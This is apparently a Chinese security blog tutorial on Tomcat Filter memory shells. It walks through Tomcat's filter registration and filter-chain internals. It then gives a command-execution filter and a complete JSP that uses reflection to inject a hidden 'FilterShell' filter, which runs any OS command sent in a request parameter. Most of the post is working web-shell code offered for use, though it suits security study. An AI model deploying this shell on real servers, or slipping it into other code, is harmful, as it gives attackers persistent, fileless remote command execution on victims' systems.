# 前言
书接上回,这篇接着记录 Tomcat 内存马中的 Filter 内存马
# Filter 调试
在上一篇中已经介绍过有关 Filter,这里可以直接去看 Servlet 内存马 - java 安全 | Clown の Blog = (xcu.icu) 上一篇中的内容,这里不在赘述。
这里还是调试一下这个流程
<dependency> | |
<groupId>org.apache.tomcat</groupId> | |
<artifactId>tomcat-catalina</artifactId> | |
<version>9.0.71</version> | |
<scope>provided</scope> | |
</dependency> | |
<dependency> | |
<groupId>org.apache.tomcat</groupId> | |
<artifactId>tomcat-websocket</artifactId> | |
<version>9.0.38</version> | |
</dependency> |
这里为了能完整调试这里需要导入上面两个包
这里的还是使用上一篇汇总的 filter 过滤器
package clown.memoryhorse; | |
import javax.servlet.*; | |
import java.io.IOException; | |
/** | |
* @BelongsProject: MemoryHorse | |
* @BelongsPackage: clown.memoryhorse | |
* @Author: Clown | |
* @CreateTime: 2023-11-02 10:43 | |
*/ | |
public class MyFilter implements Filter { | |
@Override | |
public void init(FilterConfig filterConfig) throws ServletException { | |
System.out.println("Filter ==== Init"); | |
Filter.super.init(filterConfig); | |
} | |
@Override | |
public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { | |
System.out.println("Filter ==== doFilter"); | |
filterChain.doFilter(servletRequest, servletResponse); // 执行目标资源,放行 | |
} | |
@Override | |
public void destroy() { | |
System.out.println("Filter ==== destroy"); | |
Filter.super.destroy(); | |
} | |
} |
然后在 pom.xml 里绑定一下
# 过滤器注册
实际上还是在 web.xml 实解析后的配置 org.apache.catalina.startup.ContextConfig#configureContext 方法中
直接将断点下在这个 configureContext 方法中的这个获取 filter 这个 for 循环这里
这里可以看见,这里会获取这个 filtername,然后检查是不是为空,如果不为空回调用 context.addFilterDef 方法及拿过这个 filter 添加到 context 中,这里跟进
这里实际上调用的是 StandardContext 的 addFilterDef 方法,将当前的 filter 添加到 context 中
<filter> | |
<filter-name>myFilter</filter-name> | |
<filter-class>clown.memoryhorse.MyFilter</filter-class> | |
</filter> |
这里实际上对应的是上面这个定义过滤器的部分
然后进到第二个 filter 相关的循环中
这个实际上就是映射过滤器的过程
跟进到这里,还是这个 StandardContext 类中的方法
<filter-mapping> | |
<filter-name>myFilter</filter-name> | |
<!--“/*” 表示拦截所有的请求 --> | |
<url-pattern>/*</url-pattern> | |
</filter-mapping> |
对应这个映射的过程
# 过滤器触发后
将断点下在 filterChain.doFilter 访问 hello-servlet 便可以开始调试了
这里会调用 ApplicationFilterChain 的 doFilter 方法,这里会先判断全局安全服务是否开启
具体的处理过程是在 internalDoFilter 方法中
这里也没有跳转到其他类,还是在当前类中。这里如果有下一个 filter 会继续调用
这里的 filter 是从这个 filters [pos++] 数组类获取的
其定义如上图所示,这里看一下当前的上下文
实际上这里是有两个 filters 的,这里的 0 是我们自定义的一个 filters,这个 1 是 tomcat 自带的 filter,因为此时 pos 是 1 所以取到 tomcat 的 filter。
我们继续往里走,这里就调用了 tomcat 的 filter 的 doFilter () 方法
这里的 chain.doFilter 又会调用到 ApplicationFilterChain#doFilter 方法
这里其实是一个 filter 链,简单来说代码会通过上面这种循环的方式去获取到所有的 filter
因为这里只有一个 filter 所以这里已经是最后一次了。这里直接到 internalDoFilter 方法中
最后会调用 servlet 的 service 方法,到这里整个 filter 流程就结束了
# Filter 内存马
# 使用 filter 执行命令
还是先看一下,正常写一个恶意的 filter 来执行命令怎么操作
package clown.memoryhorse; | |
import javax.servlet.*; | |
import java.io.BufferedReader; | |
import java.io.IOException; | |
import java.io.InputStreamReader; | |
/** | |
* @BelongsProject: MemoryHorse | |
* @BelongsPackage: clown.memoryhorse | |
* @Author: Clown | |
* @CreateTime: 2023-11-07 17:27 | |
*/ | |
public class TestFilter implements Filter { | |
@Override | |
public void init(FilterConfig filterConfig) throws ServletException { | |
Filter.super.init(filterConfig); | |
} | |
@Override | |
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { | |
String command = request.getParameter("cmd"); | |
if (command != null && !command.isEmpty()) { | |
// 执行带参数的系统命令 | |
try { | |
Process process = Runtime.getRuntime().exec(command); | |
process.waitFor(); | |
// 读取命令输出并将其回显到浏览器页面 | |
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream())); | |
String line; | |
while ((line = reader.readLine()) != null) { | |
response.getWriter().write(line + "\n"); | |
} | |
reader.close(); | |
} catch (Exception e) { | |
response.getWriter().write("Error executing command: " + e.getMessage()); | |
} | |
} else { | |
response.getWriter().write("No command provided."); | |
} | |
// 继续处理其他 Filter 和 Servlet | |
chain.doFilter(request, response); | |
} | |
@Override | |
public void destroy() { | |
Filter.super.destroy(); | |
} | |
} |
然后将其绑定
<filter> | |
<filter-name>TestFilter</filter-name> | |
<filter-class>clown.memoryhorse.TestFilter</filter-class> | |
</filter> | |
<filter-mapping> | |
<filter-name>TestFilter</filter-name> | |
<url-pattern>/*</url-pattern> | |
</filter-mapping> |
# 内存马
这里就和前面 Servlet 的流程差不多了
ServletContext servletContext = request.getServletContext(); | |
Field applicatiooncontextfield = servletContext.getClass().getDeclaredField("context"); | |
applicatiooncontextfield.setAccessible(true); | |
ApplicationContext applicatiooncontext = (ApplicationContext) applicatiooncontextfield.get(servletContext); | |
Field context = applicatiooncontext.getClass().getDeclaredField("context"); | |
context.setAccessible(true); | |
StandardContext standardContext = (StandardContext) context.get(applicatiooncontext); |
还是先获取 StandardContext,然后根据上面的注册,分别调用 addFilterDef 和 addFilterMap 方法
根据上图中所需要的信息有如下代码块
FilterDef filterDef = new FilterDef();// 创建一个 FilterDef 实例 | |
filterDef.setFilter(new FilterShell());// 设置 filter 为当前的 filter | |
filterDef.setFilterClass(FilterShell.class.getName());// 设置对应的 filterclass | |
filterDef.setFilterName("FilterShell");// 设置对应的 FilterName | |
standardContext.addFilterDef(filterDef);// 将 FilterDef 添加到 context 中 |
根据上图中所需要的信息有如下代码块
FilterMap filterMap = new FilterMap(); | |
filterMap.setFilterName("FilterShell");// 设置对应的 FilterName | |
filterMap.addURLPattern("/*");// 绑定对应的路径 | |
filterMap.setDispatcher(DispatcherType.REQUEST.name());// 设置分派类型,REQUEST 表示普通的 HTTP 请求 | |
standardContext.addFilterMapBefore(filterMap);// 将 FilterMap 添加到 filter 链最前面 |
按照我们上面分析的流程来说到这里就已经可以命令执行了,但是很显然上图中是没有执行成功的,其实问题也很显而易见的。在过滤器链触发后的分析可以发现问题
这里从 filters 获取过滤器后赋值给 filterConfig,而这个 filter 又是 ApplicationFilterConfig。ApplicationFilterConfig 这个类 ApplicationFilterConfig 了 FilterConfig。简单来说上面我们构造的内容缺少了 FilterConfig
// 反射获取 filterconfig | |
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Condition.class,FilterDef.class); | |
constructor.setAccessible(true); | |
constructor.newInstance(standardContext,filterDef); |
这样就获取到了 filterconfig,但是还没完
而在 StandardContext 中又会调用 filterConfigs.put 将这个 filterConfig 添加到 filterConfigs 中
这里再通过反射获取 filterConfigs
// 反射获取 filterConfigs | |
Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs"); | |
filterConfigs.setAccessible(true); | |
Map configs = (Map) filterConfigs.get(standardContext); | |
configs.put("FilterShell",filterConfig); |
这样就可以了,完整的内存马
<%@ page import="java.io.IOException" %> | |
<%@ page import="java.io.BufferedReader" %> | |
<%@ page import="java.io.InputStreamReader" %> | |
<%@ page import="java.lang.reflect.Field" %> | |
<%@ page import="org.apache.catalina.core.ApplicationContext" %> | |
<%@ page import="org.apache.catalina.core.StandardContext" %> | |
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %> | |
<%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %> | |
<%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %> | |
<%@ page import="java.util.concurrent.locks.Condition" %> | |
<%@ page import="java.lang.reflect.Constructor" %> | |
<%@ page import="java.util.Map" %> | |
<%@ page import="org.apache.catalina.Context" %><%-- | |
Created by IntelliJ IDEA. | |
User: Clown | |
Date: 11/8/2023 | |
Time: 1:11 PM | |
To change this template use File | Settings | File Templates. | |
--%> | |
<%@ page contentType="text/html;charset=UTF-8" language="java" %> | |
<html> | |
<head> | |
<title>Title</title> | |
</head> | |
<body> | |
<%! | |
public class FilterShell implements Filter { | |
@Override | |
public void init(FilterConfig filterConfig) throws ServletException { | |
Filter.super.init(filterConfig); | |
} | |
@Override | |
public void doFilter(ServletRequest request, ServletResponse response, FilterChain chain) throws IOException, ServletException { | |
String command = request.getParameter("filtershell"); | |
if (command != null && !command.isEmpty()) { | |
// 执行带参数的系统命令 | |
try { | |
Process process = Runtime.getRuntime().exec(command); | |
process.waitFor(); | |
// 读取命令输出并将其回显到浏览器页面 | |
BufferedReader reader = new BufferedReader(new InputStreamReader(process.getInputStream())); | |
String line; | |
while ((line = reader.readLine()) != null) { | |
response.getWriter().write(line + "\n"); | |
} | |
reader.close(); | |
} catch (Exception e) { | |
response.getWriter().write("Error executing command: " + e.getMessage()); | |
} | |
} else { | |
response.getWriter().write("No command provided."); | |
} | |
// 继续处理其他 Filter 和 Servlet | |
chain.doFilter(request, response); | |
} | |
@Override | |
public void destroy() { | |
Filter.super.destroy(); | |
} | |
} | |
%> | |
<% | |
ServletContext servletContext = request.getServletContext(); | |
Field applicatiooncontextfield = servletContext.getClass().getDeclaredField("context"); | |
applicatiooncontextfield.setAccessible(true); | |
ApplicationContext applicatiooncontext = (ApplicationContext) applicatiooncontextfield.get(servletContext); | |
Field context = applicatiooncontext.getClass().getDeclaredField("context"); | |
context.setAccessible(true); | |
StandardContext standardContext = (StandardContext) context.get(applicatiooncontext); | |
FilterDef filterDef = new FilterDef();// 创建一个 FilterDef 实例 | |
filterDef.setFilter(new FilterShell());// 设置 filter 为当前的 filter | |
filterDef.setFilterClass(FilterShell.class.getName());// 设置对应的 filterclass | |
filterDef.setFilterName("FilterShell");// 设置对应的 FilterName | |
standardContext.addFilterDef(filterDef);// 将 FilterDef 添加到 context 中 | |
FilterMap filterMap = new FilterMap(); | |
filterMap.setFilterName("FilterShell");// 设置对应的 FilterName | |
filterMap.addURLPattern("/*");// 绑定对应的路径 | |
filterMap.setDispatcher(DispatcherType.REQUEST.name());// 设置分派类型,REQUEST 表示普通的 HTTP 请求 | |
standardContext.addFilterMapBefore(filterMap);// 将 FilterMap 添加到 filter 链最前面 | |
// 反射获取 filterconfig | |
Constructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class,FilterDef.class); | |
constructor.setAccessible(true); | |
FilterConfig filterConfig = (FilterConfig) constructor.newInstance(standardContext,filterDef); | |
// 反射获取 filterConfigs | |
Field filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs"); | |
filterConfigs.setAccessible(true); | |
Map configs = (Map) filterConfigs.get(standardContext); | |
configs.put("FilterShell",filterConfig); | |
%> | |
</body> | |
</html> |